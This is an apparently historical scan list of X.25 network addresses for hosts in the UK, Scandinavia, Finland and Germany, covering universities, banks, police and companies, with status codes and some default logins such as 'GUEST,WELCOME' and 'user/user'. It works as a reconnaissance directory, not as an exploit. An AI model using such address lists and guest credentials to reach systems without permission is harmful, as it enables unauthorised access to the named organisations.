B 0234 223 519 19169,.50200014 Oxford

B 0234 223 519 19169,.CPVC Omega VAX

A 0234 223 519 19169,.CPVD Merlin VAX

B 0234 225 621 126 DECSS DEC Software Support VAX (=BEANO?) 0234 227 200 110 GEAC 8000 ITI

0234 227 200 112 HPLB HPLB (Hewlett Packard Labs, Bristol) 0234 227 230 230 BRST University of Bristol

0234 227 230 23000 BRISTOL University of Bristol

0234 227 230 231 DLLON Comp. & Manag. Services Ltd. 0234 227 230 301 GAC Computers Ltd.

0234 227 230 333 AVON Avon Universities Computer Centre 0234 227 230 33300 AUCC Avon Universities Computer Centre 0234 227 230 33398 AUCCFTP AUCC (FTP)

B 0234 227 900 102 BLAISE British Library Information System 0234 227 900 10400 ESTELLE STC Estelle

0234 227 900 14302 ITT ITT Harlow (=ALCATEL?)

0234 231 300 101 PRIME Office, Edinburgh

0234 231 300 102 Forestry Commission FTP

0234 231 300 105 LATTLOG Lattice Logic LTD

0234 231 300 107

B 0234 231 354 354 ERCC Edinburgh Regional Computer Centre 0234 231 354 35419 BUSHFTP RCO 2988 (FTP)

B 0234 231 354 35422 ERCC ERCC ‑ 2980, 2972 (EMAS) (=RCONET?) 0234 232 500 124 EXIS EXIS

I 0234 233 458 158 STAND St. Andrews University VAX

B 0234 233 458 15898 STANFTP St. Andrews Univ. (FTP)

0234 234 417 117 ICL at Bracknell

0234 227 230 333 ?

B 0234 239 232 323 EXETER1 Exeter University

0234 239 232 32304 EXTR University of Exeter

0234 241 200 107

0234 241 260 106 SCRSX University of Strathcylde PDP‑11/44 (RSX) A 0234 241 260 10604 ? (,5020015,Birch/Bryan)

0234 241 260 260 GLSG University of Glasgow (NFS)

B 0234 241 260 26004 Glasgow

0234 246 200 10243 ICL West Gorton 'B' Service 0234 246 200 10248 ICL West Gorton 'X' Service 0234 246 200 10277 ICL West Gorton Perq

0234 246 240 240 ICLL ICL at Letchworth (=Kidsgrove?) (NFS) 0234 247 300 103 MTIER Management Systems Ltd. 0234 247 300 10300 Bridge, Switch

0234 247 300 10340 Bridge, (VAX/VMS)

0234 247 300 10345 Bridge, (MUX(VT100))

0234 247 300 10346 Bridge

0234 247 302 022 MHGA LDC at Martlesham

0234 248 300 106 DWENT‑SDC Search Service

0234 248 321 321 DWENT‑SDC Search Service

B 0234 251 248 248 LIVE University of Liverpool

0234 252 724 241 BSL BL Systems Ltd.

0234 253 265 165 LEEDS University of Leeds (NFS) 0234 253 300 124 CAMTEC Camtec, Leicester

0234 253 300 12406 CAMTEC Camtec, Leicester (hard copy printer) 0234 258 200 106 ARC Agricultural Research Council (GEC ‑

Switch)

0234 258 200 106 EMALFTP East Malling (FTP)

0234 258 200 106 RESFTP RES (Rothampstead) ‑ FTP

0234 258 200 10604 AGRIFTP AGRINET (CPSE) FTP

0234 258 200 10604 AGRINET AGRINET Gateway

0234 258 200 10604 EASTMAL East Malling

0234 258 240 242 GECD GEC Computers Ltd at Dunstable 0234 258 240 24200 MRCA GEC ‑ Marconi Research Centre

B 0234 260 227 227 MIDN MIDNET Gateway at Nottingham (University

Leicester?) (=MIDNOT?)

B 0234 261 456 8383 Microlink

B 0234 261 600 119 Manchester

0234 261 600 133 IBM ‑ SALE (also FTP)

B 0234 261 600 152 UMDAFL University of Manchester Dataflow VAX 0234 261 643 143 UMRCC University of Manchester Regional Computer

Centre

0234 261 643 14398 UMRFTP UMRCC (FTP)

0234 261 643 210 SALF Salford University

0234 261 643 21090 SALFORD Salford ‑> GANNET

0234 261 643 21090 NRS NRS

B 0234 261 643 343 FERRANTI Feranti Computer Systems

0234 261 643 365 ICLBRA

0234 261 643 36543 ICL West Gorton 'B' Service 0234 261 643 36548 ICL West Gorton 'X' Service 0234 261 643 36577 ICL West Gorton Perq (also FTP) 0234 262 500 484 Software Sciences Ltd.

B 0234 262 800 151 CDM/EH (=Maidenhead?)

0234 262 800 43300

B 0234 263 259 159 NUMAC University of Newcastle

0234 264 200 136 Primenet

B 0234 270 500 115 MAXXIM

B 0234 270 500 142 Farenham

T 0234 270 500 15 Uni Brighton (GUEST,WELCOME) 0234 270 712 217 HATF Hatfield Polytechnic

0234 273 417 171 DEC‑RDG Digital Equipment Ltd Reading 0234 273 417 217 MODC Modcomp

0234 273 417 317 DECR DEC at Reading

0234 274 200 103 SHEFFIELD, University of, Dept.of

Electronic & Elec...

0234 274 200 103*DCODUCODUS Codus

0234 274 253 385 DVY Computing Ltd.

0234 274 317 31

0234 275 300 102 GIS Ltd.

0234 275 312 212 BOC British Oxygen (=The World Reporter??) 0234 275 312 212 DATASOLVE as above

0234 275 312 212 EUROLEX British Oxygen Company

0234 275 317 173 Lynx Computers Ltd.

0234 275 317 177 TELEFILE Computer Services Ltd. 0234 275 317 177 GSI GSI (NFS)

0234 278 228 282 ICL Letchworth

0234 278 228 288 ICL Letchworth

0234 284 400 108 Culham, (VAX)

0234 284 400 123 ALVEY Alvey Electronic Mail

B 0234 289 500 109 UXB

0234 290 468 168 YORK York University PSS Gateway

B 0234 290 468 168 YORKFTP York University (FTP)

0234 290 468 168 Gateway To DEC‑10 At York 0234 290 468 16804 YORKTS York TS29 Port

0234 290 524 242 RSRE Radio, Space Research Establishment 0234 290 524 24203 RSREDL RSRE

0234 290 524 24204 RSRESNK RSRE

0234 290 524 24250 RSREA Radio, Space Research Establishment for

ALVEY mail

0234 290 840 111 POLIS SCION

0234 290 840 111 SCICON SCICON, South England

0234 292 549 149 DL SERC at Daresbury Laboratory 0234 293 212 212 DATASOLVE LTD.

0234 293 212 212 BOC British Oxygen Company (NFS)

D 0234 293 765 ARTTEL British Library, Boston Spa 0234 293 765 265 British Library Lending Divi. 0234 299 212 221 NOLTON Nolton Communications Ltd. (NFS) 0234 3 Euronet

0234 307 813 EUROINFO Euronet Diane Information Service 0234 8 TELEX UK Telex network

0234 892 992 0 DECTELX

I 0235 200 143 00165

0238 DK Denmark

0238 2 Datapak

A 0238 241 592 400 Valby I/S Datacentralen

A 0238 241 745 600 RECKU Univac in Copenhagen University 0238 241 745 60000 Recku Univac (Enter @@ENQ) 0238 241 745 60002 UDIKU

A 0238 242 126 400 Lyngby DTB; I/S Datacentralen

I 0238 389 3 Euronet Aarhus

0240 S Sweden

I 0240 181 559 76 LIUIDA S Linkvping LiUIDA Teletex

0240 2 Datapak

A 0240 200 002 05 Uppsala STUNS VAX/UNIX KULING

I 0240 200 044 4 ENEA ENEA

A 0240 200 100 110 Stockholm QZ/DEC‑10

A 0240 200 100 120 Stockholm QZ/CD Cyber 730

O 0240 200 100 203 Uppsala, UU, Teknikum, NORD 100/500 A 0240 200 100 205 Uppsala, UU, Stuns, VAX 750

A 0240 200 100 206 Uppsala, UDAC/DECnet RTR18A

O 0240 200 100 207 Uppsala, UDAC, Cyber 835

A 0240 200 100 228 Uppsala, UDAC/UPNET ‑ Terminalnaet A 0240 200 100 232 Uppsala, UDAC, IBM/GUTS (BASF 7/68 ?) O 0240 200 100 28 Uppsala Upnet

? 0240 200 100 30 Umeaa VAX‑750 Skogsh. Umeaa Univ A 0240 200 100 303 Umeaa, UMDAC/BIOVAX

A 0240 200 100 304 Umeaa, Skogshoegskolan, VAX 750 A 0240 200 100 305 Umeaa, UMDAC/DECnet RTR09A, (Vax 11/750) A 0240 200 100 30520 Umeaa, UMDAC/BASUN

A 0240 200 100 30540 Umeaa, UMDAC/UTB1 (Vax 11/780) A 0240 200 100 30550 Umeaa, UMDAC/UTB2 (Vax 11/750) A 0240 200 100 30570 Umeaa, UMDAC/OSTVAX (Vax 11/780, Hoegsk i

Oe‑sund)

A 0240 200 100 307 Umeaa, UMDAC/Cyber 850

D 0240 200 100 312 Luleaa, Tekn hoegsk, NORD 100

D 0240 200 100 313 Luleaa, Tekn hoegsk, NORD 100

A 0240 200 100 328 Umeaa, UMDAC/NUNET ‑ Terminalnaet D 0240 200 100 33 Umeaa VAX‑11/780

A 0240 200 100 403 Linkoeping, ULi/LIUIDA, uVAX‑I D 0240 200 100 404 Linkoeping, ULi/PDP 11/23 BULL A 0240 200 100 405 Linkoeping, LIDAC, VAX 11/780 VIKTOR A 0240 200 100 407 Linkoeping, LIDAC/DECnet RTR13A, uVAX‑II D 0240 200 100 432 Linkoeping, LIDAC/TEXAS ‑ Terminalnaet A 0240 200 100 7 Primenet

A 0240 200 101 903 Stockholm, SU, Psykologi, Prime 750 A 0240 200 101 904 Stockholm, QZ IBM (Amdahl)

A 0240 200 101 905 Stockholm, QZ, NFRVAX

A 0240 200 101 907 Stockholm, QZ/DECnet RTR08A

A 0240 200 101 914 Stockholm, SU, Fysik, Vax 780

D 0240 200 101 926 Stockholm, KTH/KTHNET ‑ Terminalnaet A 0240 200 101 928 Stockholm, QZ/QZNET ‑ Terminalnaet O 0240 200 102 06 Uppsala UDAC uVAX‑II RTR18A

O 0240 200 102 07 Uppsala CD Cyber 835

A 0240 200 102 7 Stockholm DEC‑10/Janus

A 0240 200 102 71 Stockholm DEC‑10/Janus

A 0240 200 201 603 Goeteborg, CTH, Infobeh, VAX 750, Unix D 0240 200 201 604 Goeteborg, GU, Pedagogiska inst, Prime 550 A 0240 200 201 605 Goeteborg, GU, Statistiska inst, Prime 550 D 0240 200 201 606 Goeteborg, CTH, Tillaempad Elektronik, VAX

750

A 0240 200 201 607 Goeteborg, Tillaempad Elektronik/DECnet

RTR31A (RTR18A ?)

A 0240 200 201 628 Goeteborg, GD/GUCNET ‑ Terminalnaet D 0240 200 201 632 Goeteborg Upnod

A 0240 200 205 4 SCB

A 0240 200 278 0 Oerebro, Hoegskolan, Prime

A 0240 200 292 6 Karlstad, Hoegskolan, VAX 11/780 D 0240 200 310 204 Lund, Fysikum, NORD 500, Lucas O 0240 200 310 206 Lund, Maxlab, NORD 100

A 0240 200 310 207 Lund, LDC/DECnet RTR46A, uVAX‑II A 0240 200 310 20720 Lund, LDC/GEMINI, Vax 8350

A 0240 200 310 228 Lund, LDC/LUNET ‑ Terminalnaet 0240 201 001 30 Stockholm QZ/Amdahl

0240 201 002 03 Uppsala Teknikum Nord 100/500 0240 5 SWEDEN Swedish data network (Telepak) I 0240 500 025 3 QZXB QZ by yet another route

I 0240 500 025 7 Stockholm, DEC, VAX

I 0240 501 50 Scannet, Goteborg

I 0240 501 51 Scannet, Helsingfors

I 0240 501 52 Stockholm KTH/TTDS

I 0240 501 531 0 QZCOM QZ‑COM ‑ Stockholm University DEC‑10 I 0240 501 532 0 QZCB QZ Cyber

I 0240 501 533 0 QZIB QZ Amdahl

I 0240 501 54 UPPS Uppsala network, Sweden

I 0240 501 550 3 Gottenburg, Sweden

I 0240 501 582 8 LUND Lund University

I 0240 501 60 Helsinki CP9500 HYLK B7800

I 0240 502 00 Scannet, Stockholm

I 0240 502 01 Denmark, Copenhagen Scannet

I 0240 502 02 Tandem Computers

I 0240 502 032 8 QZXA QZ Sweden via reverse PAD (=UPNET?) I 0240 502 032 832 Oden, Sweden

I 0240 502 033 2 QZDA QZ DEC‑10 Sweden

I 0240 502 04 Prime Computers

I 0240 502 05 Vaesteraas PAD ASEA Multics

I 0240 502 52 KEMIDATA

I 0240 502 53 QZXB QZ by yet another route

0240 515 330 Amdahl

0242 N Norway

0242 2 NORWAY Norwegian data network (Datapak/Norpak) 0242 192 010 1013 PSS DOC

X 0242 211 000 00107 OSLO DEC‑1099 DEC‑net/PSI at Oslo University D 0242 211 000 001*D02 Oslo univ BRU‑nett UNINETT

D 0242 211 000 001*D03 OSLO DEC‑10 at Oslo University

D 0242 211 000 00100 Oslo univ DEC‑1099 UNINETT

D 0242 211 000 002 Oslo Scannet NSI Nord‑100

D 0242 211 000 01018 DATAPIN DATAPAK Info ‑ Norway

B 0242 211 000 074 Oslo VAX

T 0242 223 000 00151 RBK Cyber 170 at IFE (Energy Research Centre) T 0242 223 000 001*D00 RBK Cyber 170 at IFE, Kjeller RBK UNINETT D 0242 223 000 002 Kjeller FFI UNINETT

D 0242 245 000 00101 BERGEN Univac at Bergen University (UNINETT) D 0242 245 000 001*D00 BERGEN Univac at Bergen University

A 0242 245 013 4 BBB Mailbox (Bergen By Byte) 0242 253 000 001*D11 Trondheim UNINETT RUNIT UNIVAC T 0242 253 000 00101 RNI Univac at Trondheim University X 0242 253 000 00103 Trondheim RUNIT UNINETT VAX‑780 (=PUNIT

(EANNET) ?)

T 0242 253 000 00104 Trondheim NLHT UNINETT VAX‑750 0242 265 000 001*D00 Tromso UNINETT U of Tromso, Cyber 171 0242 253 000 001*D11 RUNIT Univac at Trondheim University 0242 265 000 001*D81 Tromso UNINETT U of Tromso, NORD‑10 0242 265 000 001*D82 Tromso UNINETT U of Tromso, NORD‑100 0242 265 000 001*D83 Tromso UNINETT U of Tromso, NORD‑500 0242 265 000 00101 TROMSOE Cyber 170 at Tromsoe University (UNINETT) 0242 265 000 001*D81 TROMSO ELAN at Tromsoe University

X 0242 265 000 106 PORTACOM (PORTACOM)

0244 SF Finland

0244 2 Datapak (Finpak)

A 0244 202 006 Economics HP 3000

A 0244 202 007 University of Helsinki, B7800 (=CANDE ?) A 0244 202 008 VTKK (Staten DC) IBM 360

A 0244 202 012 U o Helsinki Mopo Mikko3

A 0244 203 008 HELVA High Energy Physics Vax 11/750 A 0244 203 017 U of Technology DEC‑20

D 0244 231 006 Technical University of Tampere VAX A 0244 253 001 Tech U of Lappeenranta VAX/VMS A 0244 261 001 U of Vaasa VAX/VMS

A 0244 273 002 University of Joensuu VAX

D 0248 321 321 DWENT‑SDC Search Service

0262 D Germany

0262 3 Euronet

X 0262 307 4 INFAS

0262 4 GERMANY German data network (Datex‑P)

I 0262 428 462 10706

I 0262 428 479 11065

D 0262 432 210 43002 Apple

Ar0262 432 210 93001 Quick‑Com

Y 0262 442 010 49132

O 0262 442 110 40325 OKI

Y 0262 442 110 49130 PAD Frankfurt

Y 0262 442 110 49133

Y 0262 442 110 49230

I 0262 442 151 40327 KIS (info)

I 0262 442 210 49331

A 0262 442 210 90371 elma‑mailbox (~pim)

Y 0262 442 210 99632

O 0262 442 310 40312 Bibliothek Chemie

I 0262 442 310 90306 Chemie

I 0262 442 410 40341 RMI RMI Mailbox Aachen

I 0262 442 433 40307 CMES

O 0262 442 461 40343

Y 0262 443 000 49234

A 0262 443 000 90314 ?

Y 0262 443 000 99131

I 0262 444 000 90314 CCC Hamburg (Clinch), Hackerbox (1 line...) Y 0262 444 000 90330 Allgemeine Bank der Niederlande O 0262 444 000 90342 Batig Beteiligungen GmbH

A 0262 444 000 90374 Master Control System (MCS) Hamburg Y 0262 444 000 99132

Y 0262 444 441 40317 Osnabrueck, Driverstr.24, 2848 Vechta I 0262 445 110 30317 Metereologie

I 0262 445 110 90323 Bibliothek

I 0262 446 154 40371 DECATES ‑ Oberramstadt

Y 0262 446 210 49330

Y 0262 446 810 49131

Y 0262 446 810 49132

O 0262 446 900 30331 IBD Online Frankfurt a.M.

I 0262 446 900 40318 Chemie

Y 0262 446 900 49231

Y 0262 446 900 49232

I 0262 446 900 90286 RZ

Y 0262 446 900 99133

O 0262 447 071 10303 Organische Chem.

Y 0262 447 110 49134

I 0262 447 114 9236 Emery

I 0262 447 127 90344

Y 0262 447 310 40313 Online‑Literaturdok.

A 0262 447 531 40310 Chemie

I 0262 448 136 Luma Uni

O 0262 448 136 90323 Genesys EDV‑Systeme

Y 0262 448 210 49630

A 0262 448 900 30368 Phoenix

Y 0262 448 900 49130

A 0262 448 900 90313 Max Planck Institut

Y 0262 448 900 90341 LMU Bibliothek

Y 0262 448 900 99632

I 0262 449 310 90312 Apel Hans‑Joerg

I 0262 452 000 21721 ???

I 0262 450 000 90184

I 0262 451 104 2301

O 0262 452 010 40116 AEG‑Telefunken

I 0262 452 010 40179 RZ Uni Essen

I 0262 452 020 40120 Apotheke Dr.Schiemes

I 0262 452 080 40381 DVO Datenverarbeitung

I 0262 452 090 832 ?

I 0262 452 101 30030 3M Mailbox

I 0262 452 101 40030 3M Mailbox

I 0262 452 110 40001 RZU Duesseldorf (ND100)

I 0262 452 110 40005 CIERR 1402

I 0262 452 110 40016 ADV‑Orga‑Meyer & Co.

I 0262 452 110 40018 ADV‑Orga‑Meyer & Co.

Ar0262 452 110 40026 Primenet Stadt Duesseldorf,

I 0262 452 110 40063 ADAC

I 0262 452 110 40080 Uni Duesseldorf

Dr0262 452 110 40099

D 0262 452 110 40105 RZU Duesseldorf (Siemens 7.570) D 0262 452 110 40123 Data General

Ar0262 452 110 40130

Dr0262 452 110 40132

A 0262 452 110 40134 MCKDU VM/SP

I 0262 452 110 40211 Applid‑Data‑Research

I 0262 452 110 40325 OKI‑GmbH

I 0262 452 110 90371 Software‑Express

I 0262 452 210 0

Yr0262 452 210 40002 DIMDI Fep 1 Koeln

Ar0262 452 210 40004 Primenet (MicroVMS V4.5)

A 0262 452 210 40006 DIMDI Fep 2 Koeln (Medical docs) I 0262 452 210 40015 Kaufhof AG

I 0262 452 210 40027 ADAC

Ar0262 452 210 40035 Primenet

A 0262 452 210 40104 DIMDI1 (German Med. Inst., Koeln) Yr0262 452 210 40119

O 0262 452 210 40136 AEG‑Telefunken

I 0262 452 210 40202 Allianz RZ

I 0262 452 210 40203 Allianz RZ

I 0262 452 210 90265 RZ Uni Koeln

I 0262 452 210 90304 Allianz RZ

I 0262 452 210 90305 Allianz RZ

I 0262 452 210 90349 Kaufhof AG (RZ 2)

D 0262 452 210 90510 Geophysik und Meteorologie Ir0262 452 210 93001 ?

A 0262 452 241 24104 VAX

A 0262 452 241 24105 GMD2

A 0262 452 241 24134 GMDZI

A 0262 452 280 40082 GMD (TSO)

A 0262 452 280 40187 BNVA Bonn VAX (PI)

Ar0262 452 280 40191 Infas GmbH (VM)

D 0262 452 280 90020 Amtsgericht

A 0262 452 310 40003 EMX1 EMEX‑Mailbox (Guest)

I 0262 452 310 40017 Primenet

O 0262 452 310 40103 AEG‑Telefunken

A 0262 452 310 42100 Informatik

A 0262 452 310 42144 UNIDO University of Dortmund

I 0262 452 310 40017 Primenet

I 0262 452 310 45100 Uni Dortmund (Siemens 7.760)

A 0262 452 310 9304 Dortmund

D 0262 452 340 40140 Primenet = RZU Bochum (CDL 855) ?? A 0262 452 340 40194 RUB Cyber 205 (=855?), Ruhr University ‑ Bochum

(RUB)

D 0262 452 410 40149 Aachener + Muenchener Versicherung I 0262 452 410 90014 ???

I 0262 452 410 90528 rmi‑aachen

A 0262 452 410 90832 RMI Datentechnik Aachen

I 0262 452 433 40307 OPTEL (Ruehlemann‑Box)

I 0262 452 461 90509 Kfz Juelich

A 0262 452 710 40240 Uni Siegen, FB Physik (VAX 11/750) D 0262 452 931 40196 Handwerkskammer (HWK) Arnsberg I 0262 453 000 0414 GFC‑AG

D 0262 453 000 20104 Vax

D 0262 453 000 217 HMI HMI in Berlin

A 0262 453 000 21711 Siemens

A 0262 453 000 21712 Siemens

A 0262 453 000 21713 Hahn‑Meitner‑Institut Berlin

D 0262 453 000 21714 ???

D 0262 453 000 40013 Uni Berlin

Y 0262 453 000 40014 GFC AG

Ar0262 453 000 40023 BERLIN Tech. Univ. Berlin (Computer Science) I 0262 453 000 40027 ADAC

I 0262 453 000 40112 ABC Barkredit Bank

I 0262 453 000 40166 David Verlag

I 0262 453 000 40509 COM‑Box Berlin

A 0262 453 000 20205 CN01

A 0262 453 000 43109 netmbx, Berlin

A 0262 453 000 90055 COM.BOX, Berlin

A 0262 453 000 90864 ? (GUEST)

I 0262 453 002 17 HMI Hans Mietner Institute in Berlin I 0262 453 004 0023 Uni Berlin

I 0262 453 210 40017 tymnet‑gateway

I 0262 454 000 30029

A 0262 454 000 30035 (immediately drops the line)

A 0262 454 000 30041 COM‑PLETE (?) (command prefix is '*') A 0262 454 000 30046 (immediately drops the line)

O 0262 454 000 30071

A 0262 454 000 30090 (cierr 1402)

A 0262 454 000 30104 ? ("INVALID COMMAND SYNTAX")

A 0262 454 000 30105

A 0262 454 000 30110 Host

A 0262 454 000 30113 (cierr 1402)

A 0262 454 000 30138 ? (no reaction)

D 0262 454 000 30150

D 0262 454 000 30158

A 0262 454 000 30175 ? ("INVALID COMMAND SYNTAX")

D 0262 454 000 30187 E2000 Hamburg VAX

O 0262 454 000 30201 Hasylab VAX (user/user)

A 0262 454 000 30202 HERA Magnet Measurement VAX 750 (=Krista

Cryogenics Control ?)

A 0262 454 000 30215 ? ("INVALID COMMAND SYNTAX")

D 0262 454 000 30259

D 0262 454 000 30261

A 0262 454 000 30296 DFH2001I

A 0262 454 000 30502

I 0262 454 000 30519

A 0262 454 000 30566 DFH2001I

O 0262 454 000 30578 Primenet 20.0.4 DREHH

I 0262 454 000 40014 Hahn Egon RZ !! Code: EBCDIC !! I 0262 454 000 40015 ???

Y 0262 454 000 40042 ???

D 0262 454 000 40044 Primenet MUF

I 0262 454 000 40053 SCHERAX

Y 0262 454 000 40078 ???

A 0262 454 000 40082 ? (no reaction)

I 0262 454 000 40103 Airbus

I 0262 454 000 40109 ???

I 0262 454 000 40111 BADGER

D 0262 454 000 40198 Argus IPP‑Vax

I 0262 454 000 43100 ADV‑Orga‑Meyer & Co.

A 0262 454 000 50233 Altos Hamburg (althh) (Gast)

I 0262 454 000 8001 DYVA MARK J VAX at DESY

I 0262 454 000 90047 AEG‑Telefunken

A 0262 454 000 90092 Data‑General

A 0262 454 000 90184 Uni Hamburg (VAX) (=UKE?)

I 0262 454 000 90194 Verbraucherbank AG

O 0262 454 000 90241 ???

I 0262 454 000 90258 Desy ( Vax )

I 0262 454 000 90558 Philips VAX

D 0262 454 000 90560 EMBLHH EMBL VAX at Hamburg (Eur.Molecular

Biol.Lab.)

I 0262 454 000 905602 ???

A 0262 454 000 90582 Desy V.24 Switch

A 0262 454 000 91110 Deutsche Mailbox 1

A 0262 454 000 91120 Deutsche Mailbox 2

A 0262 454 000 92210 DESYNET

A 0262 454 000 9306 DYVA MARK J VAX at DESY

D 0262 454 103 90161 Astra Chemicals GmbH

0262 454 106 40206 RCA

A 0262 454 210 40064 COMTES

O 0262 454 210 40108 AEG‑Telefunken

I 0262 454 210 40145 AEG‑Telefunken

Y 0262 454 210 40244 AEG‑Telefunken

O 0262 454 210 42001 Bremen

I 0262 454 210 90302 Computerland VAX

O 0262 454 298 43070 Infex 2

I 0262 454 310 40545 Kiel IMF

A 0262 454 410 30033 Uni Oldenburg

I 0262 454 421 40045 ADV‑Orga‑Meyer & Co.

I 0262 454 488 40147 Essmann Getraenke GmbH

I 0262 455 110 40081 Airbus

I 0262 455 110 40171 Alli‑Frischdienst

A 0262 455 110 42330 Uni Hannover (VM/370)

A 0262 455 110 43020 Nachrichtentechnik (VAX)

I 0262 455 110 701 Uni Hannover

A 0262 455 110 90192 ???

A 0262 455 110 90835 CosmoNet (GAST)

A 0262 455 110 92200 RZ

D 0262 455 151 40212 AEG‑Telefunken

I 0262 455 152 90154 Oldenburger Volksbank

I 0262 455 210 40562 Uni Bielefeld (CGK/TR440)

I 0262 455 251 90192 Paderborn

D 0262 455 251 90193 Paderborn

A 0262 455 251 93020 Uni Paderborn (4.3 BSD UNIX)

D 0262 455 362 90057 IUM

I 0262 455 410 40086 Alli‑Frischdienst

I 0262 455 410 40162 RZ

I 0262 455 410 40560 Bibliothek

I 0262 455 421 043050 ORION

A 0262 455 510 32804 Uni Goettingen (choose VAX or IBM) I 0262 455 521 90172 Spar & Darlehenskassen

I 0262 455 818 104 Anders Frido GmbH

I 0262 455 910 40094 Essmann Getraenke GmbH

I 0262 455 931 40095 Ruhr AG

I 0262 456 061 40097 Polydress Plastic GmbH

I 0262 456 102 4301 DEC Frankfurt

I 0262 456 102 90145 Nadler‑Werke GmbH

I 0262 456 103 40332 Amann KG

I 0262 456 104 0250 Tymnet

A 0262 456 106 40254 Alfa Service Partner (Primenet) I 0262 456 106 90119 Alfa Service Partner

I 0262 456 110 40009 IBM Centre for Info and Doc, Germany I 0262 456 110 40037 Control Data (Test.‑Serv.C4,ZZA201,CDC) I 0262 456 110 40076 Autonet

I 0262 456 110 40105 Nixdorf Computer

I 0262 456 110 40106 Nixdorf Computer

I 0262 456 110 40107 CN01

I 0262 456 110 40187 WAX Bank FRA

I 0262 456 110 40240 City‑Bank FFM (Uni Bochum ??)

I 0262 456 110 40245 ??

I 0262 456 110 40250 Tymnet (Id=Information)

I 0262 456 110 40303 American Express

I 0262 456 110 40305 American Express

I 0262 456 110 40311 AMC

I 0262 456 110 40365 AMP

I 0262 456 110 90211 Nixdorf Computer

I 0262 456 110 90212 Nixdorf Computer

I 0262 456 110 90322 American Express

I 0262 456 110 90347 American Express

I 0262 456 121 40207 ADV‑Orga‑Meyer & Co.

I 0262 456 121 40217 BKA

I 0262 456 121 40225 BKA

I 0262 456 121 90580 BKA

I 0262 456 131 40138 Uni Mainz RZ

I 0262 456 131 40545 RZ

Y 0262 456 131 90031 Allg.Kreditversicherung

Y 0262 456 151 40282 ???

A 0262 456 151 40516 Uni Darmstadt (Siemens 7.xxx)

A 0262 456 151 40547 GSI Darmstadt (EMMA‑VAX 8600)

A 0262 456 151 42807 GMD Darmstadt (CADMUS 9240)

I 0262 456 172 90070 A‑Kredit

I 0262 456 193 40082 Apotheken Marketing

D 0262 456 196 40095 Data General Schwalbach

A 0262 456 196 40107 Int.Doc.Chem.

A 0262 456 210 40000 Telebox der DBP (ID INF100,Telebox) A 0262 456 210 40014 ACF/VTAM

A 0262 456 210 40025 Oeva

A 0262 456 210 40026 HOST

D 0262 456 210 40027 BASF/FER.VAX 8600

I 0262 456 210 40097 Nadler‑Werke GmbH

I 0262 456 210 40217 Primenet

I 0262 456 210 40324 Abacus

D 0262 456 210 40508 VCON0.BASF.A6

A 0262 456 210 40516 CN01

A 0262 456 210 40532

A 0262 456 210 40580 DYNAPAC MULTI‑PAD.25

A 0262 456 210 40581 DYNAPAC MULTI‑PAD.25

A 0262 456 210 40582

A 0262 456 210 90000 Telebox der DBP

I 0262 456 221 3002 EMBL European Microbiology Lab (or European

Molecular Biological Lab.) (=ALKOR?)

D 0262 456 221 40201 DKFZ (Heidelberg)

I 0262 456 221 40244 Franny (=Max Planck VAX=MPI?)

I 0262 456 310 40252

I 0262 456 310 421

D 0262 456 310 424

I 0262 456 310 4302

I 0262 456 340 40136 Nadler‑Werke GmbH

A 0262 456 410 30021 HRZ‑Giessen

I 0262 456 410 40142 Aachener + Muenchener Versicherung A 0262 456 410 90040 HRZ Giessen (CDCNET‑X.25)

I 0262 456 410 90828 Ernaehrungswissenschaften

I 0262 456 441 90335 Leerwe GmbH

I 0262 456 615 142804 GMD, Darmstadt

A 0262 456 673 13330 Geonet 1 (ex IMCA)

A 0262 456 673 13340 Geonet 3

I 0262 456 673 30070 IMCA‑Mailbox, Solmser Str. 16, D‑6419

Haunetal‑Staerklos

I 0262 456 721 40305 Alfa Metalcraft Corp.

I 0262 456 810 40010 Teleprint Saarbrueckener Zeitung I 0262 456 810 40071 Nadler‑Werke GmbH

I 0262 456 810 40076 SAARBRU Univ of Saarbruecken (Saarland RZ) A 0262 456 900 10174 Beilstein Gmelin RZ (COMDOS ?) O 0262 456 900 10552 FIZ‑Technik

O 0262 456 900 30040 Nixdorf Computer

A 0262 456 900 40076 Autonet

D 0262 456 900 40106 Nixdorf

I 0262 456 900 40505 AEG‑Telefunken

0262 456 900 40506 AEG‑Telefunken

A 0262 456 900 90125

I 0262 456 900 90506 Nixdorf

I 0262 456 900 9308 SYNTAX

I 0262 457 010 40025 ?

A 0262 457 071 40266 Zentrum fuer Datenverarbeitung 0262 457 071 40529 Zentrale Verw.

0262 457 071 90182 ADW‑Wirtschaftsberatung

D 0262 457 071 90249 Bibliothek

D 0262 457 110 10023 Hohenheim Bibliothek

D 0262 457 110 211 Rechenzentrum

Dr0262 457 110 40028

Dr0262 457 110 40035 Primenet !! No CTRL‑P clr !!

B 0262 457 110 40124 Stahl EDV‑Service

0262 457 110 40129 Allg.Rentenanstalt

0262 457 110 40147 MAHU Verlag

D 0262 457 110 90059 Bibliothek

0262 457 110 90103 Data General

0262 457 110 90246 Hohenheim DokumentationsSt.

D 0262 457 110 90316 RMI‑Net

0262 457 110 90557 Stahl EDV‑Service

A 0262 457 110 90593 Unix, Informatik (ifistg) 0262 457 141 90098 Aigner Buchhandlung

X 0262 457 210 40002 V750

Br0262 457 210 40025 Badenia

0262 457 210 40031 IITB‑Datenverarbeitung

D 0262 457 210 40135 Fraunhofer Institut

C 0262 457 210 40189 Uni Karlsruhe, RZ (until 10‑APR‑88) X 0262 457 210 40248 Uni Karlsruhe, LINK (=NETONE?) A 0262 457 210 42100 Uni Karlsruhe, IRAV2 (VAX 8200) A 0262 457 210 42140 Uni Karlsruhe, RZ (since 11‑APR‑88) D 0262 457 210 4303 Telematik

A 0262 457 247 40001 INKA FIZ‑Chemie 2 (German Centre for

Tech.?)

A 0262 457 247 40141 INKA FIZ‑Chemie 1

A 0262 457 247 40211 CASGER STN Internat. Karlsruhe

D 0262 457 310 90269 RZ Bereich OE

0262 457 310 921 RZ

0262 457 351 40032 AFD‑Arbeitsgruppe F.DV

A 0262 457 531 90008 Informationswissenschaften

D 0262 457 531 90094 RZ

0262 457 552 90320 Alno‑Moebel

D 0262 457 610 300 Uni Freiburg, 9600bps

D 0262 457 610 370 Uni Freiburg, Sperry Univac

D 0262 457 610 40079 Albert Ludwig, Uni‑Bibliothek 0262 457 610 40166 AEG‑Telefunken

0262 457 610 40306 Alpha‑Buch GmbH

B 0262 457 610 420 Uni Freiburg, 4800bps

B 0262 457 610 480 Uni Freiburg, Sperry Univac

X 0262 457 610 520 Uni Freiburg, Uni Bibliothek 0262 457 641 40265 Anders Ernst

0262 457 721 40071 Kienzle Computer

0262 457 721 40072 Kienzle Computer

0262 457 721 40171 Kienzle Computer

0262 457 721 90004 Kienzle Computer

